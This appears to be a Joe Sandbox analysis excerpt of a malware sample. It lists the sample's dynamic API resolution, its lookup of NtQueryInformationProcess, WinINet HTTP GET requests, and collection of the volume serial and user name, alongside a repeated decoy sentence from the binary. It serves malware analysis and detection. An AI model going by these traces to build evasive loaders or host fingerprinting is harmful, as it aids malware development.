GetProcAddress.KERNEL32(75900000,012F7188), ref: 00BB9C9C
GetProcAddress.KERNEL32(75900000,01301160), ref: 00BB9CB4
GetProcAddress.KERNEL32(75900000,01301178), ref: 00BB9CCC
GetProcAddress.KERNEL32(75900000,013012C8), ref: 00BB9CE5
GetProcAddress.KERNEL32(75900000,01301190), ref: 00BB9CFD
GetProcAddress.KERNEL32(75900000,012F71A8), ref: 00BB9D15
GetProcAddress.KERNEL32(75900000,013011F0), ref: 00BB9D2E
GetProcAddress.KERNEL32(75900000,01301220), ref: 00BB9D46
GetProcAddress.KERNEL32(75900000,012F6E88), ref: 00BB9D5E
GetProcAddress.KERNEL32(75900000,01301268), ref: 00BB9D77
GetProcAddress.KERNEL32(75900000,01301448), ref: 00BB9D8F
GetProcAddress.KERNEL32(75900000,012F7088), ref: 00BB9DA7
GetProcAddress.KERNEL32(75900000,01301460), ref: 00BB9DC0
GetProcAddress.KERNEL32(75900000,012F7028), ref: 00BB9DD8
LoadLibraryA.KERNEL32(01301430,?,00BB6CA0), ref: 00BB9DEA
LoadLibraryA.KERNEL32(01301478,?,00BB6CA0), ref: 00BB9DFB
LoadLibraryA.KERNEL32(01301490,?,00BB6CA0), ref: 00BB9E0D
LoadLibraryA.KERNEL32(013014A8,?,00BB6CA0), ref: 00BB9E1F
LoadLibraryA.KERNEL32(01301418,?,00BB6CA0), ref: 00BB9E30
GetProcAddress.KERNEL32(75070000,013014C0), ref: 00BB9E52
GetProcAddress.KERNEL32(75FD0000,01301400), ref: 00BB9E73
GetProcAddress.KERNEL32(75FD0000,01309890), ref: 00BB9E8B
GetProcAddress.KERNEL32(75A50000,01309818), ref: 00BB9EAD
GetProcAddress.KERNEL32(74E50000,012F7008), ref: 00BB9ECE
GetProcAddress.KERNEL32(76E80000,01309558), ref: 00BB9EEF
GetProcAddress.KERNEL32(76E80000,NtQueryInformationProcess), ref: 00BB9F06

Strings

NtQueryInformationProcess, xrefs: 00BB9EFA

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 23d41d17526cbc9fac2bd6ef8dd862a3952413d2112016f2b9c0fd581814412f
Instruction ID: e3ed365295c450a61dfe00fe3b6afc051fac8b7fa3f3a5775e5beaad37350c33
Opcode Fuzzy Hash: 23d41d17526cbc9fac2bd6ef8dd862a3952413d2112016f2b9c0fd581814412f
Instruction Fuzzy Hash: D9A1A0B55096419FC344DFABFC889527BB9A74D345340862AFA9DE3231EB7099C8CF60

Function 00BA4610 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 00BA465F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 00BA47EC

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BA47CB
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BA4784
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BA4622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BA46C8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BA4779
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BA4667
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BA4643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BA46A7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BA4638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BA46D3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BA4617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BA462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BA47C0
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BA47AA
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BA4672
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BA46FC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BA4763
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BA4728
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BA4688
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BA4693
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BA46BD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BA4712
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BA46B2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BA478F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BA471D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BA476E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BA47B5
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BA4707
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BA479F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BA467D

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: 15affa8a17726a2a4c8321b75b6231d4d0a7be5d83a75bf8b72f4f29324b7d24
Instruction ID: 027549805b7647ed8acdd3b442dd772f57a966d337727bff494a5caf3d6558fd
Opcode Fuzzy Hash: 15affa8a17726a2a4c8321b75b6231d4d0a7be5d83a75bf8b72f4f29324b7d24
Instruction Fuzzy Hash: 5741CE707C370C7B8778F7A6A94EFDD76A65F46710B90708FEC0896290CAB066E04529

Function 00BA62D0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00BBAAB0: lstrcpy.KERNEL32(?,00000000), ref: 00BBAAF6

Part of subcall function 00BA4800: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00BA4889
Part of subcall function 00BA4800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00BA4899

Part of subcall function 00BBAA50: lstrcpy.KERNEL32(00BC0E1A,00000000), ref: 00BBAA98

InternetOpenA.WININET(00BC0DFF,00000001,00000000,00000000,00000000), ref: 00BA6331
StrCmpCA.SHLWAPI(?,0130EE58), ref: 00BA6353
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00BA6385
HttpOpenRequestA.WININET(00000000,GET,?,0130E828,00000000,00000000,00400100,00000000), ref: 00BA63D5
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00BA640F
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00BA6421
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00BA644D
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00BA64BD
InternetCloseHandle.WININET(00000000), ref: 00BA653F
InternetCloseHandle.WININET(00000000), ref: 00BA6549
InternetCloseHandle.WININET(00000000), ref: 00BA6553

Strings

ERROR, xrefs: 00BA6519
GET, xrefs: 00BA63CC
ERROR, xrefs: 00BA6457

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: 11d470ef66eaa940c7f73e47a031d10be2c21768f2752079d3620ccacaf3b8ab
Instruction ID: 7dc331c3abf6a94ebdd228505384360b7456e533a100788abc164a097d146dec
Opcode Fuzzy Hash: 11d470ef66eaa940c7f73e47a031d10be2c21768f2752079d3620ccacaf3b8ab
Instruction Fuzzy Hash: 77713BB1A04218ABDF24DBA4CC59FEE77B9EB45700F1081D9F50A7B190DBB46A84CF51

Function 00BB7690 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00BB76D2
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00BB770F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00BB7793
RtlAllocateHeap.NTDLL(00000000), ref: 00BB779A
wsprintfA.USER32 ref: 00BB77D0

Part of subcall function 00BBAA50: lstrcpy.KERNEL32(00BC0E1A,00000000), ref: 00BBAA98

Strings

:, xrefs: 00BB76EC
\, xrefs: 00BB76F0
C, xrefs: 00BB76DC

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 1544550907-3809124531
Opcode ID: 5bcb2334236ac90b4c9a0f7f2a0ee056c5ec5811a4f5c84a35b9360d6f6c501e
Instruction ID: 1ee6bab3b1acd59f3e50ffa839a2936e7c283986f86ffd50a2cd3ccd34313120
Opcode Fuzzy Hash: 5bcb2334236ac90b4c9a0f7f2a0ee056c5ec5811a4f5c84a35b9360d6f6c501e
Instruction Fuzzy Hash: 234184B1D44348AFDB10DB95DC85BEEB7B8AF48704F1040D9F509B7280DBB4AA84CBA5

Function 00BB79E0 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00BA11B7), ref: 00BB7A10
RtlAllocateHeap.NTDLL(00000000), ref: 00BB7A17
GetUserNameA.ADVAPI32(00000104,00000104), ref: 00BB7A2F

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: 890202ed6604eecdbab3fb55d5e4d5a2173e56124a0df162646515b92ae23d27
Instruction ID: f639339fe9dd5cf3e7cfbd8d9c5e8586b04891ef42d85fc94e1e9c0fda0a714d
Opcode Fuzzy Hash: 890202ed6604eecdbab3fb55d5e4d5a2173e56124a0df162646515b92ae23d27
Instruction Fuzzy Hash: 84F0AFB1948209EFCB00DF89DC45BAEBBB8EB04711F10025AF619A3690C7B41544CBA0

Function 00BA1160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 00BA116A
ExitProcess.KERNEL32 ref: 00BA117E

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 9f4e2748ed2548846afcde3b16dc92b5fb90885117c7c19c068a274846c3752d
Instruction ID: b89fc32d2a3e0e66126297b8325f5b0ffb477943728779966bcb122a6b169070
Opcode Fuzzy Hash: 9f4e2748ed2548846afcde3b16dc92b5fb90885117c7c19c068a274846c3752d
Instruction Fuzzy Hash: F8D05E7490930C9FCB00DFE198496DDBBB8BB08225F400594D90972240EA305485CB65

Function 00BB9F20 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,012F70A8), ref: 00BB9F3D
GetProcAddress.KERNEL32(75900000,012F70C8), ref: 00BB9F55
GetProcAddress.KERNEL32(75900000,01309B48), ref: 00BB9F6E
GetProcAddress.KERNEL32(75900000,01309AA0), ref: 00BB9F86
GetProcAddress.KERNEL32(75900000,0130D500), ref: 00BB9F9E
GetProcAddress.KERNEL32(75900000,0130D5F0), ref: 00BB9FB7
GetProcAddress.KERNEL32(75900000,012FBFE8), ref: 00BB9FCF
GetProcAddress.KERNEL32(75900000,0130D410), ref: 00BB9FE7
GetProcAddress.KERNEL32(75900000,0130D5C0), ref: 00BBA000
GetProcAddress.KERNEL32(75900000,0130D560), ref: 00BBA018
GetProcAddress.KERNEL32(75900000,0130D5D8), ref: 00BBA030
GetProcAddress.KERNEL32(75900000,012F6F48), ref: 00BBA049
GetProcAddress.KERNEL32(75900000,012F6F88), ref: 00BBA061
GetProcAddress.KERNEL32(75900000,012F71E8), ref: 00BBA079
GetProcAddress.KERNEL32(75900000,012F6FA8), ref: 00BBA092
GetProcAddress.KERNEL32(75900000,0130D350), ref: 00BBA0AA
GetProcAddress.KERNEL32(75900000,0130D608), ref: 00BBA0C2
GetProcAddress.KERNEL32(75900000,012FBF48), ref: 00BBA0DB
GetProcAddress.KERNEL32(75900000,012F7208), ref: 00BBA0F3
GetProcAddress.KERNEL32(75900000,0130D620), ref: 00BBA10B
GetProcAddress.KERNEL32(75900000,0130D530), ref: 00BBA124
GetProcAddress.KERNEL32(75900000,0130D440), ref: 00BBA13C
GetProcAddress.KERNEL32(75900000,0130D638), ref: 00BBA154
GetProcAddress.KERNEL32(75900000,012F70E8), ref: 00BBA16D
GetProcAddress.KERNEL32(75900000,0130D368), ref: 00BBA185
GetProcAddress.KERNEL32(75900000,0130D3C8), ref: 00BBA19D
GetProcAddress.KERNEL32(75900000,0130D4B8), ref: 00BBA1B6
GetProcAddress.KERNEL32(75900000,0130D380), ref: 00BBA1CE
GetProcAddress.KERNEL32(75900000,0130D398), ref: 00BBA1E6
GetProcAddress.KERNEL32(75900000,0130D3B0), ref: 00BBA1FF
GetProcAddress.KERNEL32(75900000,0130D4E8), ref: 00BBA217
GetProcAddress.KERNEL32(75900000,0130D4D0), ref: 00BBA22F
GetProcAddress.KERNEL32(75900000,0130D518), ref: 00BBA248
